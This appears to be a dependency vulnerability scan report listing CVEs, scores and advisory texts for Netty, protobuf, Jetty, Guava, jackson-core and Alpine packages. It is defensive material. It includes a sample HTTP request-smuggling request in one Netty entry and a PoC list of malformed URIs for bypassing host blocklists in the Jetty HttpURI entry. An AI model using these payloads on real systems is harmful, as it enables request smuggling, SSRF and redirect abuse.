+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
